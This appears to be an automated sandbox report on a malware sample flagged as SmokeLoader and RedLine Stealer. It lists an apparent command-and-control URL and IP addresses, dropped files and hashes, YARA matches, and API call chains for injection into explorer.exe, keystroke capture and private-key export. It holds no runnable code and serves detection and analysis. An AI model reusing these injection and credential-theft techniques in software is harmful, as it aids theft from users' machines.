Source: explorer.exe, 00000009.00000002.2999912401.0000000003560000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.2947253493.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4536695596.00000000033E7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4536019543.0000000001119000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4537067944.0000000003207000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.4535707850.00000000007D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://calvinandhalls.com/search.phpMozilla/5.0
Source: explorer.exe, 00000009.00000002.2999912401.0000000003560000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://calvinandhalls.com/search.phpx
Source: explorer.exe, 00000009.00000002.2999912401.0000000003560000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://calvinandhalls.com:443/search.phpge
Source: explorer.exe, 00000009.00000003.2965923859.00000000035CE000.00000004.00000020.00020000.00000000.sdmp, 6B89.tmp.9.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: explorer.exe, 00000009.00000003.2965923859.00000000035CE000.00000004.00000020.00020000.00000000.sdmp, 6B89.tmp.9.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: explorer.exe, 00000009.00000003.2965923859.00000000035CE000.00000004.00000020.00020000.00000000.sdmp, 6B89.tmp.9.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: explorer.exe, 00000009.00000003.2965923859.00000000035CE000.00000004.00000020.00020000.00000000.sdmp, 6B89.tmp.9.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: explorer.exe, 00000009.00000003.2965923859.00000000035CE000.00000004.00000020.00020000.00000000.sdmp, 6B89.tmp.9.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: explorer.exe, 00000009.00000003.2965923859.00000000035CE000.00000004.00000020.00020000.00000000.sdmp, 6B89.tmp.9.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: explorer.exe, 00000002.00000000.2127227127.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: explorer.exe, 00000002.00000000.2127227127.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com
Source: explorer.exe, 00000002.00000000.2129326664.000000000C460000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcember
Source: explorer.exe, 00000002.00000000.2127227127.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/)s
Source: explorer.exe, 00000002.00000000.2127227127.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.comon
Source: explorer.exe, 00000009.00000003.2965923859.00000000035CE000.00000004.00000020.00020000.00000000.sdmp, 6B89.tmp.9.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: explorer.exe, 00000009.00000003.2965923859.00000000035CE000.00000004.00000020.00020000.00000000.sdmp, 6B89.tmp.9.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 23.145.40.164:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.162:443 -> 192.168.2.5:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.162:443 -> 192.168.2.5:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.162:443 -> 192.168.2.5:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.162:443 -> 192.168.2.5:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.162:443 -> 192.168.2.5:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.162:443 -> 192.168.2.5:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.162:443 -> 192.168.2.5:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.162:443 -> 192.168.2.5:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.162:443 -> 192.168.2.5:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.162:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.162:443 -> 192.168.2.5:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.162:443 -> 192.168.2.5:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.162:443 -> 192.168.2.5:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.162:443 -> 192.168.2.5:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.162:443 -> 192.168.2.5:49761 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 0000000C.00000002.4535195693.0000000003221000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4535198953.0000000000D21000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 1532, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 6432, type: MEMORYSTR
Source: Yara match	File source: 6.2.E647.exe.24e0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.E647.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.uejbbri.24b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.E647.exe.2610000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.uejbbri.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.uejbbri.24a0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2365295307.0000000002631000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2141528306.00000000040E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2655758710.00000000040F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2138710138.0000000002610000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2655384170.0000000002620000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2900412124.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2603297963.0000000002610000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2365240792.0000000002530000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2843112467.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2900483247.00000000025B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 16_2_0309162B GetKeyboardState,ToUnicode,

16_2_0309162B

Source: C:\Users\user\AppData\Local\Temp\B575.exe

Code function: 8_2_00007FF7CB873220 CertGetCertificateContextProperty,CryptAcquireCertificatePrivateKey,CryptGetUserKey,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,CryptExportKey,VirtualProtect,VirtualProtect,CryptAcquireContextA,CryptImportKey,OpenSCManagerA,OpenServiceA,QueryServiceStatusEx,OpenProcess,ReadProcessMemory,ReadProcessMemory,WriteProcessMemory,NCryptExportKey,CertOpenStore,CertAddCertificateLinkToStore,CertSetCertificateContextProperty,PFXExportCertStoreEx,PFXExportCertStoreEx,

8_2_00007FF7CB873220

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000004.00000002.2365373242.00000000026CD000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000007.00000002.2900663679.00000000025ED000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000004.00000002.2365295307.0000000002631000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.2141528306.00000000040E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000006.00000002.2655758710.00000000040F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000007.00000002.2900388143.00000000024A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.2138650769.0000000002600000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.2139720397.000000000265D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000006.00000002.2655596562.000000000266D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2138710138.0000000002610000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000006.00000002.2655384170.0000000002620000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000007.00000002.2900412124.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000006.00000002.2655265915.00000000024E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000004.00000002.2365221336.0000000002520000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000004.00000002.2365240792.0000000002530000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000007.00000002.2900483247.00000000025B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown

Source: C:\Windows\explorer.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Code function: 0_2_00401514 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401514
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Code function: 0_2_00402F97 RtlCreateUserThread,NtTerminateProcess,	0_2_00402F97
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Code function: 0_2_00401542 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401542
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Code function: 0_2_00403247 NtTerminateProcess,GetModuleHandleA,	0_2_00403247
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Code function: 0_2_00401549 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401549
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Code function: 0_2_0040324F NtTerminateProcess,GetModuleHandleA,	0_2_0040324F
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Code function: 0_2_00403256 NtTerminateProcess,GetModuleHandleA,	0_2_00403256
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Code function: 0_2_00401557 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401557
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Code function: 0_2_0040326C NtTerminateProcess,GetModuleHandleA,	0_2_0040326C
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Code function: 0_2_00403277 NtTerminateProcess,GetModuleHandleA,	0_2_00403277
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Code function: 0_2_004014FE NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004014FE
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Code function: 0_2_00403290 NtTerminateProcess,GetModuleHandleA,	0_2_00403290
Source: C:\Users\user\AppData\Roaming\esjbbri	Code function: 4_2_00401514 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_00401514
Source: C:\Users\user\AppData\Roaming\esjbbri	Code function: 4_2_00402F97 RtlCreateUserThread,NtTerminateProcess,	4_2_00402F97
Source: C:\Users\user\AppData\Roaming\esjbbri	Code function: 4_2_00401542 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_00401542
Source: C:\Users\user\AppData\Roaming\esjbbri	Code function: 4_2_00403247 NtTerminateProcess,GetModuleHandleA,	4_2_00403247
Source: C:\Users\user\AppData\Roaming\esjbbri	Code function: 4_2_00401549 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_00401549
Source: C:\Users\user\AppData\Roaming\esjbbri	Code function: 4_2_0040324F NtTerminateProcess,GetModuleHandleA,	4_2_0040324F
Source: C:\Users\user\AppData\Roaming\esjbbri	Code function: 4_2_00403256 NtTerminateProcess,GetModuleHandleA,	4_2_00403256
Source: C:\Users\user\AppData\Roaming\esjbbri	Code function: 4_2_00401557 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_00401557
Source: C:\Users\user\AppData\Roaming\esjbbri	Code function: 4_2_0040326C NtTerminateProcess,GetModuleHandleA,	4_2_0040326C
Source: C:\Users\user\AppData\Roaming\esjbbri	Code function: 4_2_00403277 NtTerminateProcess,GetModuleHandleA,	4_2_00403277
Source: C:\Users\user\AppData\Roaming\esjbbri	Code function: 4_2_004014FE NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_004014FE
Source: C:\Users\user\AppData\Roaming\esjbbri	Code function: 4_2_00403290 NtTerminateProcess,GetModuleHandleA,	4_2_00403290
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_00403043 RtlCreateUserThread,NtTerminateProcess,	6_2_00403043
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_004014C4 LocalAlloc,NtAllocateVirtualMemory,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	6_2_004014C4
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_00401508 NtAllocateVirtualMemory,	6_2_00401508
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_004014CF NtAllocateVirtualMemory,	6_2_004014CF
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_004015D5 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	6_2_004015D5
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_004014DE NtAllocateVirtualMemory,	6_2_004014DE
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_004015DF NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	6_2_004015DF
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_004015E6 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	6_2_004015E6
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_004015F2 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	6_2_004015F2
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_004014F5 NtAllocateVirtualMemory,	6_2_004014F5
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_004014F8 NtAllocateVirtualMemory,	6_2_004014F8
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_004014FB NtAllocateVirtualMemory,	6_2_004014FB
Source: C:\Users\user\AppData\Roaming\uejbbri	Code function: 7_2_00403043 RtlCreateUserThread,NtTerminateProcess,	7_2_00403043
Source: C:\Users\user\AppData\Roaming\uejbbri	Code function: 7_2_004014C4 LocalAlloc,NtAllocateVirtualMemory,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	7_2_004014C4
Source: C:\Users\user\AppData\Roaming\uejbbri	Code function: 7_2_00401508 NtAllocateVirtualMemory,	7_2_00401508
Source: C:\Users\user\AppData\Roaming\uejbbri	Code function: 7_2_004014CF NtAllocateVirtualMemory,	7_2_004014CF
Source: C:\Users\user\AppData\Roaming\uejbbri	Code function: 7_2_004015D5 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	7_2_004015D5
Source: C:\Users\user\AppData\Roaming\uejbbri	Code function: 7_2_004014DE NtAllocateVirtualMemory,	7_2_004014DE
Source: C:\Users\user\AppData\Roaming\uejbbri	Code function: 7_2_004015DF NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	7_2_004015DF
Source: C:\Users\user\AppData\Roaming\uejbbri	Code function: 7_2_004015E6 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	7_2_004015E6
Source: C:\Users\user\AppData\Roaming\uejbbri	Code function: 7_2_004015F2 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	7_2_004015F2
Source: C:\Users\user\AppData\Roaming\uejbbri	Code function: 7_2_004014F5 NtAllocateVirtualMemory,	7_2_004014F5
Source: C:\Users\user\AppData\Roaming\uejbbri	Code function: 7_2_004014F8 NtAllocateVirtualMemory,	7_2_004014F8
Source: C:\Users\user\AppData\Roaming\uejbbri	Code function: 7_2_004014FB NtAllocateVirtualMemory,	7_2_004014FB
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 9_2_03274B92 RtlMoveMemory,NtUnmapViewOfSection,	9_2_03274B92
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 9_2_032733C3 NtQueryInformationFile,	9_2_032733C3
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 9_2_0327342B NtQueryObject,NtQueryObject,RtlMoveMemory,	9_2_0327342B
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 9_2_0327349B CreateFileW,OpenProcess,NtQueryInformationProcess,NtQueryInformationProcess,NtQueryInformationProcess,GetCurrentProcess,DuplicateHandle,lstrcmpiW,NtQueryObject,StrRChrW,StrRChrW,lstrcmpiW,GetFileSize,SetFilePointer,SetFilePointer,ReadFile,SetFilePointer,CloseHandle,CloseHandle,CloseHandle,	9_2_0327349B
Source: C:\Windows\explorer.exe	Code function: 11_2_001D38B0 NtUnmapViewOfSection,	11_2_001D38B0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 12_2_03221016 RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,GetCurrentProcessId,lstrcmpiA,CreateToolhelp32Snapshot,Process32First,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,Process32Next,CloseHandle,Sleep,	12_2_03221016
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 12_2_03221A80 NtCreateSection,NtMapViewOfSection,	12_2_03221A80
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 12_2_03221819 lstrcmpiA,OpenProcess,NtSetInformationProcess,CloseHandle,NtUnmapViewOfSection,NtUnmapViewOfSection,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,CloseHandle,CreateMutexA,GetLastError,CloseHandle,Sleep,GetModuleHandleA,GetProcAddress,ReadProcessMemory,WriteProcessMemory,CreateRemoteThread,CloseHandle,Sleep,WriteProcessMemory,CreateRemoteThread,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,	12_2_03221819
Source: C:\Windows\explorer.exe	Code function: 13_2_00D2355C NtUnmapViewOfSection,	13_2_00D2355C
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 16_2_03091016 RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,GetCurrentProcessId,wsprintfA,RtlMoveMemory,CreateToolhelp32Snapshot,Process32First,CharLowerA,lstrcmpiA,lstrcmpiA,Process32Next,CloseHandle,Sleep,	16_2_03091016
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 16_2_03091B26 NtCreateSection,NtMapViewOfSection,	16_2_03091B26
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 16_2_030918BF OpenProcess,NtSetInformationProcess,CloseHandle,NtUnmapViewOfSection,NtUnmapViewOfSection,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,CloseHandle,CreateMutexA,GetLastError,CloseHandle,Sleep,GetModuleHandleA,GetProcAddress,ReadProcessMemory,WriteProcessMemory,CreateRemoteThread,CloseHandle,Sleep,WriteProcessMemory,CreateRemoteThread,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,	16_2_030918BF
Source: C:\Windows\explorer.exe	Code function: 18_2_0062370C NtUnmapViewOfSection,	18_2_0062370C

Source: C:\Users\user\AppData\Local\Temp\B575.exe	Code function: 8_2_00007FF7CB879AC8	8_2_00007FF7CB879AC8
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Code function: 8_2_00007FF7CB87B424	8_2_00007FF7CB87B424
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Code function: 8_2_00007FF7CB873220	8_2_00007FF7CB873220
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Code function: 8_2_00007FF7CB87DC08	8_2_00007FF7CB87DC08
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Code function: 8_2_00007FF7CB87A51C	8_2_00007FF7CB87A51C
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Code function: 8_2_00007FF7CB87213C	8_2_00007FF7CB87213C
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Code function: 8_2_00007FF7CB87A774	8_2_00007FF7CB87A774
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 9_2_03272198	9_2_03272198
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 9_2_0328B35C	9_2_0328B35C
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 9_2_0327C2F9	9_2_0327C2F9
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 9_2_032C4438	9_2_032C4438
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 9_2_0328B97E	9_2_0328B97E
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 9_2_03295F08	9_2_03295F08
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 9_2_03276E6A	9_2_03276E6A
Source: C:\Windows\explorer.exe	Code function: 11_2_001D1E20	11_2_001D1E20
Source: C:\Windows\explorer.exe	Code function: 13_2_00D22054	13_2_00D22054
Source: C:\Windows\explorer.exe	Code function: 13_2_00D22860	13_2_00D22860
Source: C:\Windows\explorer.exe	Code function: 18_2_006220F4	18_2_006220F4
Source: C:\Windows\explorer.exe	Code function: 18_2_00622A04	18_2_00622A04

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\B575.exe A6F7D8211414EF77E92730DB874BABF8F200B07C5AA194A71FA00F2C8BE5BDE7
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\E647.exe 2E4015F84A9A6D9C22EF65ACC66A3CF55C2CABC2D7A6F32B96297CA7D0F56EA4
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\uejbbri 2E4015F84A9A6D9C22EF65ACC66A3CF55C2CABC2D7A6F32B96297CA7D0F56EA4

Source: C:\Windows\SysWOW64\explorer.exe	Code function: String function: 03278801 appears 40 times
Source: C:\Windows\SysWOW64\explorer.exe	Code function: String function: 03277F70 appears 32 times

Source: KTh1gQlT9a.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000004.00000002.2365373242.00000000026CD000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000007.00000002.2900663679.00000000025ED000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
